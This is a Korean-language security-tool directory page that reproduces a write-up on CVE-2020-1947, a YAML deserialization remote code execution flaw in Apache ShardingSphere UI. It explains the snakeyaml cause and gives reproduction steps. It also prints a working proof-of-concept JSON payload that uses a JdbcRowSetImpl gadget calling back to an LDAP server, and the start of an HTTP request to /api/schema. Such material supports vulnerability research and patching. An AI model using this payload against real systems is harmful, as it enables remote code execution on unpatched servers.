Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-1947 — Apache ShardingSphere UI의 YAML 역직렬화 원격 코드 실행 취약점인 CVE-2020-1947에 대한 개념 증명 및 분석으로, 재현 단계와 수정 지침을 포함합니다. | Kitploit
도구/GitHubGitHub/starkchristmas/cve-2020-1947
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationMisconfigurationRemote Access Tool
GitHubstarkchristmas/cve-2020-1947

CVE-2020-1947

Apache ShardingSphere UI의 YAML 역직렬화 원격 코드 실행 취약점인 CVE-2020-1947에 대한 개념 증명 및 분석으로, 재현 단계와 수정 지침을 포함합니다.

저장소 보기
11116년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-1947 ApacheShardingShpereUIYAML 파싱 원격 코드 실행 취약점 재현 및 분석

개요

shardingsphere는 Apache의 오픈 소스 생태계로, 분산 데이터베이스 미들웨어 솔루션 세트이며, sharding-jdbc, sharding-proxy, sharding-sidecar 세 가지 독립적인 프레임워크로 구성되어 데이터 샤딩, 분산 트랜잭션, 데이터베이스 관리를 제공합니다.

영향을 받는 버전

ShardingSphere 4.0.0-RC3, 4.0.0  sharding-jdbc,sharding-proxy,sharding-ui 등 구성 요소

분석 환경

Apache-shardingsphere-incubating-4.0.0
java version "1.8.0_231"
Java(TM) SE Runtime Environment (build 1.8.0_231-b11)
Java HotSpot(TM) 64-Bit Server VM (build 25.231-b11, mixed mode

취약점 분석

shardingsphere의 웹 콘솔은 snakeyaml 라이브러리를 사용하여 YAML 입력을 파싱하여 데이터 소스 구성을 로드합니다. snakeyaml은 unmarshal 시 검증 없이 파싱 및 역직렬화를 허용합니다. unmarshal()이 내용을 직접 yaml.snakeyaml의 load()에 전달하여 파싱합니다. 이때 unmarshal에 악의적인 YAML 직렬화 내용을 전달하면 RCE가 발생합니다.

취약점 재현

git clone https://github.com/HexChristmas/CVE-2020-1947
cd CVE-2020-1947
docker-compose.yml

PoC

{"name":"CVE-2020-1947","ruleConfiguration":"  encryptors:\n    encryptor_aes:\n      type: aes\n      props:\n        aes.key.value: 123456abc\n    encryptor_md5:\n      type: md5\n  tables:\n    t_encrypt:\n      columns:\n        user_id:\n          plainColumn: user_plain\n          cipherColumn: user_cipher\n          encryptor: encryptor_aes\n        order_id:\n          cipherColumn: order_cipher\n          encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n  dataSourceName: ldap://127.0.0.1:1389/CommandObject\n  autoCommit: true"}

Request

POST /api/schema HTTP/1.1
Host: 10.10.20.166:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
도구 다운로드